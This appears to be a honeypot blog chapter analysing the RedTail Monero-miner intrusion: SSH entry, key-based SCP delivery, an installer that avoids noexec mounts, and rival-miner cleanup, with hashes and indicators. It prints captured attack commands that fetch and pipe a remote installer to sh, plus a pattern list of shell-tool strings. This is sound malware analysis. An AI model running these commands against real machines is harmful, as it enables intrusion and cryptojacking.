RedTail · Chapter 5
The intruder who brought his own key
The previous critter kicked the door in with wget. This one walked in with an SSH key in its pocket, cleared the house of rival miners, and settled in with a professional's manners. It's RedTail, and it plays in a different league.
Third family in the trap, and the first that isn't a DDoS bot: this is a Monero miner. Its goal isn't to knock anyone offline, it's to steal CPU and mine crypto quietly. And the craftsmanship shows from the first second — where XorDDoS and Mirai leaned on wget and default credentials, this one came in on a password like everyone else — but brought the binary with its own key.
This chapter is the catch: how it got in, how it fetched the binary, and how it cleaned house before settling in. The teardown of the miner itself goes in Chapter 6.
01The catch
A bot, fast and methodical. It came in over SSH and in under two seconds had sized up the machine, written a key, fetched the binary, and wiped its tracks.
- 00:00.0Comes in over SSH (root, dictionary credential). Runs id and cat /etc/passwd — checks what it's on and who it's dealing with.
- 00:00.4Drops a beacon: echo -e "\x61\x75\x74\x68\x5F\x6F\x6B" → in the clear, "auth_ok". It tells its orchestrator "I'm in".
- 00:00.6enable · system · shell · sh · bash — the sequence to break out of the restricted shells on routers and recorders.
- 00:01.5Writes an SSH key and an sshcfg, and uses them to scp the binary down from its server. Runs it, and signs off with another beacon: "redtail_bot_telnet_ok".
02The delivery: with its own key
Here's the mark of class. Instead of a wget out in the open, RedTail writes an SSH private key it carries embedded, sets up a config that switches off all verification, and pulls the installer down over SCP:
# 1) writes its private key (ed25519) to key.ppk
echo '-----BEGIN OPENSSH PRIVATE KEY-----
...# (ed25519 key, comment dlr@sftp)
-----END OPENSSH PRIVATE KEY-----' > key.ppk
# 2) ssh config that ignores host verification
echo 'StrictHostKeyChecking no
UserKnownHostsFile /dev/null' > sshcfg
chmod 400 key.ppk
# 3) fetches the installer 'sh' over SCP as the user dlr
scp -F sshcfg -i key.ppk dlr@217.60.195[.]113:sh out_sh
if [ $? -eq 0 ]; then chmod +x out_sh; sh out_sh telnet
else # plan B: over HTTPS
(wget --no-check-certificate -qO- hxxps://217.60.195[.]113/sh ||
curl -sk hxxps://217.60.195[.]113/sh) | sh -s telnet
fi
rm -rf sshcfg key.ppk out_sh # wipes the tracksWhy all this ceremony to download a file? Stealth. An outbound SCP connection looks like legitimate SSH traffic — routine administration — whereas a wget http://…/critter stands out in any log or IDS. The key travels inside the malware itself, so every infected machine shares the same one; it grants download-only access to its delivery server (user dlr, as in downloader). And as you can see, if the SCP fails it has the wget/curl over HTTPS as a fallback.
03The installer, with a brain
The sh script (2.3 KB) it fetches is a good deal smarter than the droppers of the other families:
- Steers around noexec. Instead of trying folders blind, it lists the mounts flagged noexec (with findmnt) and excludes them from the search. Then it looks for a directory where it can both write and execute.
- Checks 2 MB will fit. Before picking a spot, it tries to write a 2 MB file — because the miner is large and it doesn't want to end up stranded halfway.
- Five exact architectures. It maps uname to x86_64 · i686 · aarch64 · arm7 · riscv — yes, RISC-V included. None of Mirai's 12-gauge scattergun: here it picks the right binary.
- Hidden name. It renames the binary to .<random> (with a leading dot, hidden) and launches it with the telnet vector.
And one more thing, of the kind I like because it isn't a capability — it's an oversight. To name the binary, the installer reaches for several random generators, one after another in case one isn't there on the machine. If all of them fail, it has one last fallback line — and what it returns is this:
echo "redtail"The family name, written by its own author, in the one place nobody looks. And it isn't the only one: the build path baked into the miner is /var/build/redtail/, and the operator's working directory, /root/redtail/. Three separate places where he left the name. This critter didn't need a label putting on it: it comes with one from the factory.
But before it installs itself, it does something that deserves a section of its own.
04Surgical cleanup of the competition
The installer downloads and runs a clean script — and it's not a brute-force wipe, it's an eviction with a scalpel. It wants the whole machine to itself:
# kills known rival miners by their service name
systemctl disable c3pool_miner; systemctl stop c3pool_miner
systemctl disable bot.service; systemctl stop bot.service
# from EACH crontab, removes only the lines of OTHER critters...
clean_file() {
chattr -ia "$1"
grep -vE 'wget|curl|/dev/tcp|/tmp|\.sh|nc|bash -i|sh -i|base64 -d' "$1" > /tmp/x
mv -f /tmp/x "$1" # ...leaving the legitimate ones untouched
}
# empties /tmp, /var/tmp, /dev/shm (the competition's payloads)Notice the grep -vE: it doesn't nuke the whole crontab, it filters out only the suspicious lines (the ones with wget, /dev/tcp, base64 -d… the usual patterns of another malware's persistence) and leaves the legitimate ones alone. It kills c3pool_miner (a known miner) by name, along with a generic bot.service. This is competition between criminals: the one who arrives throws out the last — but takes care not to break the machine it wants to squeeze.
05The specimen
All captured over HTTPS.
RedTail · Monero miner
| Piece | SHA-256 |
|---|---|
| clean | 3f3a11bafabb1a35db913cfe51995f2e357d049e268860175876ae5a93d23892 |
| miner x86_64 | f0aa83bbbd2c75e2f71ec16029ee5fcfad59f3a8efa30a500b815f0f6c18d987 |
| miner aarch64 | d1cac82f44b54b0fd244a9e4122811e9ae108a197c7a65a20fd2e7552683e68e |
| miner riscv | 3f3bf218089d1488617d37f8a5116bb2791eb39ce06a1b5bc9a4cdfe5e94dd39 |
I wrote above that this one plays in another league, and that's the kind of line you either back up or keep to yourself. Its decisions, lined up:
- It doesn't serve over HTTP. Port 80 returns a 403; only 443 delivers. And it does so with a filler self-signed certificate, the kind the default template ships with — O=Internet Widgits Pty Ltd. It isn't trying to look legitimate: it wants the traffic encrypted.
- The command server hides behind Cloudflare, on a hexadecimal subdomain of efabaz.xyz. Whoever looks up the IP sees Cloudflare, not him.
- The domain is brand new. Registered at Namecheap on 14 July, sixteen days before the first samples turned up in the public repositories. Infrastructure bought fresh for this campaign.
- And the rest we've already seen: delivery over SCP with its own key, an installer that dodges noexec, binaries packed with UPX and an encrypted config inside.
None of those pieces is brilliant on its own. Together they sketch someone who has thought about who is going to look — which is exactly what the previous three critters did not.
06Indicators (IOCs)
| Type | Value |
|---|---|
| Attacker IP | 103.46.186.105 |
| Delivery server | 217.60.195.113 (user dlr · SCP + HTTPS) |
| Embedded key | ed25519 · comment dlr@sftp |
| Beacons | auth_ok · redtail_bot_telnet_ok |
| Rivals it kills | c3pool_miner · bot.service |
| Vector | telnet |
| C2 domain | efabaz.xyz (hexadecimal subdomain, behind Cloudflare) · registered at Namecheap on 14 Jul 2026 |
| Delivery certificate | self-signed · O=Internet Widgits Pty Ltd (default template) |
| Family signatures | echo "redtail" (installer fallback) · /var/build/redtail/ · /root/redtail/ |
To be continued — the miner is packed and hides its wallet. In Chapter 6 I unpack it and open it up with Ghidra, as far as its author lets us go. 🍯
Comments